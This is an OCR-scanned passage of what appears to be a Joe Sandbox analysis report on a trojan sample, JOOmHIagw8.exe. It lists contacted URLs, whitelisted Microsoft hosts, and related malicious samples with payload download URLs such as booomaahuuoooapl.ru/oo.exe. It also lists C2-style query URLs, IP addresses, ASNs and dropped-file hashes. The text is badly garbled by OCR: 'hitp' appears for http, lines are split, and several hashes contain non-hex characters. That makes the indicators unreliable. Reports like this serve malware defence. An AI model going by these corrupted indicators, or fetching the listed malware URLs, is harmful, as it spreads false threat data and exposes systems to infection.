hitp://www.sandoll.co.kr explorer.exe, 00000006.0000000 false e URL Reputation: safe unknown
0.260756926.0000000008B46000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp:/fiwww.urwpp.deDPlease explorer.exe, 00000006.0000000 false e URL Reputation: safe unknown
0.260756926.0000000008B46000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://www.zhongyicts.com.cn explorer.exe, 00000006.0000000 false e URL Reputation: safe unknown
0.260756926.0000000008B46000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://schemas.xmlsoap.org/ws/2005/05/identity/claims/name  JOOmHIlagw8.exe, 00000000.00000 false high

002.238745092.0000000003261000
.00000004.00000001.sdmp

hitp:/fiwww.sakkal.com explorer.exe, 00000006.0000000 false e URL Reputation: safe unknown
0.260756926.0000000008B46000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

«
g

Public

P Domain Country Flag ASN ASN Name Malicious

Private

Copyright null 2021 Page 17 of 47



IP
192.168.2.1

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Copyright null 2021

31.0.0 Red Diamond
339323

13.01.2021
21:02:37
CloudBasic

Oh 10m 34s

false

light
JOOmHIagw8.exe
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

36
0
0
0
1

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal100.troj.evad.WinEXE@12/3@20/11
Failed

e Successful, ratio: 36.5% (good quality ratio 33.5%)
e Quality average: 71.7%
e Quality standard deviation: 31.3%

e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

e Found application associated with file extension:
.exe
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Warnings: Show All

e Exclude process from analysis (whitelisted):
MpCmdRun.exe, audiodg.exe,
BackgroundTransferHost.exe, WMIADAP.exe,
backgroundTaskHost.exe, SgrmBroker.exe,
conhost.exe, svchost.exe, UsoClient.exe,
wuapihost.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted):
13.64.90.137, 168.61.161.212, 23.210.248.85,
51.104.144.132, 92.122.213.194, 92.122.213.247,
67.26.81.254, 8.248.137.254, 67.27.158.126,
8.248.139.254, 8.248.133.254, 51.103.5.186,
52.155.217.156, 20.54.26.129, 205.201.132.26,
51.104.139.180, 204.79.197.200, 13.107.21.200

e Excluded domains from analysis (whitelisted):
arc.msn.com.nsatc.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net,
wns.notify.windows.com.akadns.net, arc.msn.com,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, par02p.wns.notify.windows.com.akadns.net,
emeal.notify.windows.com.akadns.net,
audownload.windowsupdate.nsatc.net, www-bing-
com.dual-a-0001.a-msedge.net,
displaycatalog.mp.microsoft.com,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
auto.au.download.windowsupdate.com.c.footprint.n
et, prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, www.bing.com,
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
skypedataprdcolwus17.cloudapp.net,
client.wns.windows.com, fs.microsoft.com, dual-a-
0001.a-msedge.net,
displaycatalog.md.mp.microsoft.com.akadns.net,
ris-prod.trafficmanager.net,
skypedataprdcolcus17.cloudapp.net,
e1723.g.akamaiedge.net,
ctldl.windowsupdate.com, ris.api.iris.microsoft.com,
a-0001.a-afdentry.net.trafficmanager.net,
blobcollector.events.data.trafficmanager.net,
terminator.capstone.com.akadns.net

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtProtectVirtualMemory calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

21:03:37 API Interceptor 1x Sleep call for process: J0OOmHlagw8.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context
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Match
192.0.78.208

45.77.226.209

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.logan
sshop.net/
csv8/?Ih28
=OO0GliFfpj
JXxzb&LXe0
9=ZwKj9Shw
klggAmvMfF
0it6gAOE2+
kz8+Lth+75
2BzZBDIYhx
iYZDgoXg2L
G/wtUtDZzI
Gy8aoQ==

www.fessu
sesefsee.c
om/csv8/?j
FNHHj=+aP4
wUbNbXNo+D
XgxdcGOO7I
e47nUjGI80
93VpAmIXcO
KCIjUH4+hX
L6+YYNjj8x
HGE1&Ppd=_
698yvxH-6HLN

www.fessu
sesefsee.c
om/csv8/?A
Z=+aP4wUbl
bQNs+Thszd
cGOO7le47n
UjGI80InJq
cnh3cPKzkl
TXpy3Tz49+
ULoSo6SgwC
Og==&1bqtf
=oL30w60

booomaahu
uoooapl.ru
/t.php?on=1

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/t.php?on=1

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe
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https://view.joesandbox.com/analysis/247682/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247682/html/none?idtype=webid
https://view.joesandbox.com/analysis/249620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249620/html/none?idtype=webid
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid
https://view.joesandbox.com/analysis/124593/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124593/html/none?idtype=webid
https://view.joesandbox.com/analysis/124592/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124592/html/none?idtype=webid
https://view.joesandbox.com/analysis/124589/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124589/html/none?idtype=webid
https://view.joesandbox.com/analysis/124588/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124588/html/none?idtype=webid
https://view.joesandbox.com/analysis/124586/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124586/html/none?idtype=webid
https://view.joesandbox.com/analysis/124585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124585/html/none?idtype=webid
https://view.joesandbox.com/analysis/124583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124583/html/none?idtype=webid
https://view.joesandbox.com/analysis/124582/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124582/html/none?idtype=webid
https://view.joesandbox.com/analysis/124580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124580/html/none?idtype=webid
https://view.joesandbox.com/analysis/124578/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124578/html/none?idtype=webid
https://view.joesandbox.com/analysis/124577/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124577/html/none?idtype=webid
https://view.joesandbox.com/analysis/124574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124574/html/none?idtype=webid
https://view.joesandbox.com/analysis/124573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124573/html/none?idtype=webid
https://view.joesandbox.com/analysis/124568/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124568/html/none?idtype=webid

Match

142.44.212.169

Domains

Match

www.travelnetafrica.com

www.exit-divorce.com

www.alparmuhendislik.com

www.fessusesefsee.com

www.stnanguo.com

ext-cust.squarespace.com
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Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash

Get hash
Get hash

Get hash
Get hash
Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse

Browse

Context

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

booomaahu
uoooapl.ru
/oo.exe

www.queen
sbhoutiquel
000.com/csv8/?
LIB=Gb
tlyLROj&Rx
I=8DCWdIpV
qJDMTE6O1p
DiewAZ51bc
DeHXIhtTky
u/PoYXbpdV
gZUBuvBpvN
XpBydMGHDH

www.queen
sbhoutiquel
000.com/csv8/?
t8r8=8
DCWdlpVqJD
MTE60O1pDie
WAZ51bcDeH
XIhtTkyu/P
oYXbpdVvgZUu
BuvBpvORTR
j90cgiA&9r
1TI=D4n4

Context

173.234.17
5.134

192.155.16
6.181
192.155.16
6.181

192.155.16
6.181

23.105.124.225
23.105.124.225
23.105.124.225
23.105.124.225
23.105.124.225
45.77.226.209

45.77.226.209

146.148.19
3.212

146.148.19
3.212

146.148.19
3.212

198.49.23.145

198.185.15
9.141

198.49.23.141

198.185.15
9.141

198.49.23.141
198.49.23.141

198.185.15
9.141

198.185.15
9.145

198.49.23.145
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https://view.joesandbox.com/analysis/124566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124566/html/none?idtype=webid
https://view.joesandbox.com/analysis/124563/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124563/html/none?idtype=webid
https://view.joesandbox.com/analysis/124546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124546/html/none?idtype=webid
https://view.joesandbox.com/analysis/124545/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124545/html/none?idtype=webid
https://view.joesandbox.com/analysis/254553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254553/html/none?idtype=webid
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid
https://view.joesandbox.com/analysis/254167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254167/html/none?idtype=webid
https://view.joesandbox.com/analysis/248397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248397/html/none?idtype=webid
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid
https://view.joesandbox.com/analysis/254766/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254766/html/none?idtype=webid
https://view.joesandbox.com/analysis/254167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254167/html/none?idtype=webid
https://view.joesandbox.com/analysis/248375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248375/html/none?idtype=webid
https://view.joesandbox.com/analysis/247705/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247705/html/none?idtype=webid
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid
https://view.joesandbox.com/analysis/249620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249620/html/none?idtype=webid
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid
https://view.joesandbox.com/analysis/247562/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247562/html/none?idtype=webid
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid
https://view.joesandbox.com/analysis/254553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254553/html/none?idtype=webid
https://view.joesandbox.com/analysis/247705/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247705/html/none?idtype=webid
https://view.joesandbox.com/analysis/246434/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246434/html/none?idtype=webid
https://view.joesandbox.com/analysis/244437/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244437/html/none?idtype=webid
https://view.joesandbox.com/analysis/239566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239566/html/none?idtype=webid
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid
https://view.joesandbox.com/analysis/236984/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236984/html/none?idtype=webid
https://view.joesandbox.com/analysis/226087/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/226087/html/none?idtype=webid
https://view.joesandbox.com/analysis/225495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/225495/html/none?idtype=webid

Match

ASN

Match
AS-CHOOPAUS

AUTOMATTICUS

Copyright null 2021

SHA 256
Get hash

Get hash

Get hash

Get hash
Get hash

Get hash
Get hash

Get hash
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hitp:/, Get hash

Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash

=

Get hash

=

Get hash

=
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2
@
o
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S
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Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Context

198.185.15
9.145

198.185.15
9.144

198.185.15
9.145

198.49.23.144

198.185.15
9.145

198.49.23.144

198.185.15
9.145

198.185.15
9.144

198.185.15
9.145

198.49.23.145

198.185.15
9.144

Context

137.220.48.181
45.32.95.179
137.220.48.181

139.180.14
2.220

207.148.24.55
107.191.37.252
141.164.40.157
45.76.190.53
107.191.37.252
144.202.62.148
45.76.137.184
198.13.52.21
149.28.244.249
149.28.244.249
45.32.38.24
45.77.254.200
45.77.254.200
45.77.254.200
45.77.254.200
45.77.254.200
192.0.78.24
192.0.78.138
192.0.78.24
192.0.78.24
192.0.78.138
192.0.78.134
192.0.78.25

192.0.78.24
192.0.78.24
192.0.78.24
192.0.78.25
192.0.78.24
192.0.78.24
192.0.77.48

192.0.78.25
192.0.77.40
192.0.73.2

192.0.79.33
192.0.78.12
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https://view.joesandbox.com/analysis/225050/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/225050/html/none?idtype=webid
https://view.joesandbox.com/analysis/220648/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/220648/html/none?idtype=webid
https://view.joesandbox.com/analysis/219712/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/219712/html/none?idtype=webid
https://view.joesandbox.com/analysis/219678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/219678/html/none?idtype=webid
https://view.joesandbox.com/analysis/207715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/207715/html/none?idtype=webid
https://view.joesandbox.com/analysis/205573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/205573/html/none?idtype=webid
https://view.joesandbox.com/analysis/191122/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/191122/html/none?idtype=webid
https://view.joesandbox.com/analysis/187663/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/187663/html/none?idtype=webid
https://view.joesandbox.com/analysis/176293/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/176293/html/none?idtype=webid
https://view.joesandbox.com/analysis/169887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/169887/html/none?idtype=webid
https://view.joesandbox.com/analysis/166750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/166750/html/none?idtype=webid
https://view.joesandbox.com/analysis/254175/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254175/html/none?idtype=webid
https://view.joesandbox.com/analysis/254159/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254159/html/none?idtype=webid
https://view.joesandbox.com/analysis/254145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254145/html/none?idtype=webid
https://view.joesandbox.com/analysis/253888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253888/html/none?idtype=webid
https://view.joesandbox.com/analysis/253706/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253706/html/none?idtype=webid
https://view.joesandbox.com/analysis/253445/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253445/html/none?idtype=webid
https://view.joesandbox.com/analysis/253007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253007/html/none?idtype=webid
https://view.joesandbox.com/analysis/252546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252546/html/none?idtype=webid
https://view.joesandbox.com/analysis/252323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252323/html/none?idtype=webid
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid
https://view.joesandbox.com/analysis/251945/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251945/html/none?idtype=webid
https://view.joesandbox.com/analysis/251808/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251808/html/none?idtype=webid
https://view.joesandbox.com/analysis/251417/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251417/html/none?idtype=webid
https://view.joesandbox.com/analysis/251415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251415/html/none?idtype=webid
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid
https://view.joesandbox.com/analysis/251074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251074/html/none?idtype=webid
https://view.joesandbox.com/analysis/251063/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251063/html/none?idtype=webid
https://view.joesandbox.com/analysis/251062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251062/html/none?idtype=webid
https://view.joesandbox.com/analysis/251061/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251061/html/none?idtype=webid
https://view.joesandbox.com/analysis/251059/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251059/html/none?idtype=webid
https://view.joesandbox.com/analysis/254565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254565/html/none?idtype=webid
https://view.joesandbox.com/analysis/254553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254553/html/none?idtype=webid
https://view.joesandbox.com/analysis/254392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254392/html/none?idtype=webid
https://view.joesandbox.com/analysis/254362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254362/html/none?idtype=webid
https://view.joesandbox.com/analysis/254338/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254338/html/none?idtype=webid
https://view.joesandbox.com/analysis/254286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254286/html/none?idtype=webid
https://view.joesandbox.com/analysis/254209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254209/html/none?idtype=webid
https://view.joesandbox.com/analysis/254200/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254200/html/none?idtype=webid
https://view.joesandbox.com/analysis/253888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253888/html/none?idtype=webid
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid
https://view.joesandbox.com/analysis/253838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253838/html/none?idtype=webid
https://view.joesandbox.com/analysis/253828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253828/html/none?idtype=webid
https://view.joesandbox.com/analysis/253431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253431/html/none?idtype=webid
https://view.joesandbox.com/analysis/253355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253355/html/none?idtype=webid
https://view.joesandbox.com/analysis/253286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253286/html/none?idtype=webid
https://view.joesandbox.com/analysis/253153/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253153/html/none?idtype=webid
https://view.joesandbox.com/analysis/253063/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253063/html/none?idtype=webid
https://view.joesandbox.com/analysis/252913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252913/html/none?idtype=webid
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252072/html/none?idtype=webid

Match

OVHFR

JA3 Fingerprints

No context

Dropped Files

Match

C:\Users\user\AppData\Roaming\JcEEH

0QdnETCO.exe

Associated Sample Name /| URL SHA 256
Get hash

=
[

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Associated Sample Name /| URL SHA 256
Get hash

Created / dropped Files

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Context

192.0.73.2
149.202.23.211
51.254.89.251
51.254.89.251
51.254.89.251
51.91.224.95
145.239.131.55
51.195.53.221
51.195.53.221
149.202.195.78
213.186.33.5
142.44.212.169
54.39.152.114
51.79.161.36
51.79.161.36
51.79.161.36
46.105.131.65
51.91.31.221
46.105.131.65
46.105.131.65
46.105.131.65

Context

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\JOOmHlagw8.exe

ASCII text, with CRLF line terminators

dropped
1216
5.355304211458859

false

24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4AKZI7FE4x84):MIHK5HKXE1qHIYHKhQnoPtHoxHhAHKzr

FED34146BF2F2FA59DCF8702FCC8232E

BO3BFEA175989D989850CFO6FESE7BBF56EAAQ0A

123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0OD5C
1CC89F2ED1DBD70628FA1DC41A32BA0BFA3ES81EAE1IALCF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AABCABD8EL7933F75687C3178F

F6

true

high, very likely benign file

1,"fusion”,"GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyT
oken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.C
onfiguration, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\
8d67d92724bad94b6c7fd089d6f25b48\System.Configuration.ni.dll*,0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:
\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Copyright null 2021

C:\Users\user\Desktop\JOOmHlagw8.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped
1646
5.194647878447671
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https://view.joesandbox.com/analysis/252055/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252055/html/none?idtype=webid
https://view.joesandbox.com/analysis/254766/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254766/html/none?idtype=webid
https://view.joesandbox.com/analysis/254756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254756/html/none?idtype=webid
https://view.joesandbox.com/analysis/254752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254752/html/none?idtype=webid
https://view.joesandbox.com/analysis/254748/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254748/html/none?idtype=webid
https://view.joesandbox.com/analysis/254733/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254733/html/none?idtype=webid
https://view.joesandbox.com/analysis/254634/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254634/html/none?idtype=webid
https://view.joesandbox.com/analysis/254607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254607/html/none?idtype=webid
https://view.joesandbox.com/analysis/254606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254606/html/none?idtype=webid
https://view.joesandbox.com/analysis/254570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254570/html/none?idtype=webid
https://view.joesandbox.com/analysis/254562/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254562/html/none?idtype=webid
https://view.joesandbox.com/analysis/254553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254553/html/none?idtype=webid
https://view.joesandbox.com/analysis/254501/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254501/html/none?idtype=webid
https://view.joesandbox.com/analysis/254373/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254373/html/none?idtype=webid
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254308/html/none?idtype=webid
https://view.joesandbox.com/analysis/254296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254296/html/none?idtype=webid
https://view.joesandbox.com/analysis/254286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254286/html/none?idtype=webid
https://view.joesandbox.com/analysis/254285/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254285/html/none?idtype=webid
https://view.joesandbox.com/analysis/254233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254233/html/none?idtype=webid
https://view.joesandbox.com/analysis/254232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254232/html/none?idtype=webid
https://view.joesandbox.com/analysis/254713/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254713/html/none?idtype=webid

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

false
24:2dH4+SEqC/Q7hxINMFp1/IMhEMjnGpwjplgUYODOLD9RJIh7h8gKB1tn:cbh47TINQ//rydbz913YODOLNdg31
06E33287E0C8713556ABA4895AB6E7AT

2A2D4CACB8873931736CBBB63A52A57258472F145
2C8A59AA46BD19E023BB68BF13C95C6F5F853ABE23AAD49CA14082BB7CBO5SBED

12F4619DE659BCD68B646F11B5EB6BB062CE87ECF09B1BA01EOES0E3F527011FA829DAA307931607E9F37FAG66C47DBEG6A405F7BD718D02EOB69SEF91E1BALGC
D

true

low

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlIns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-
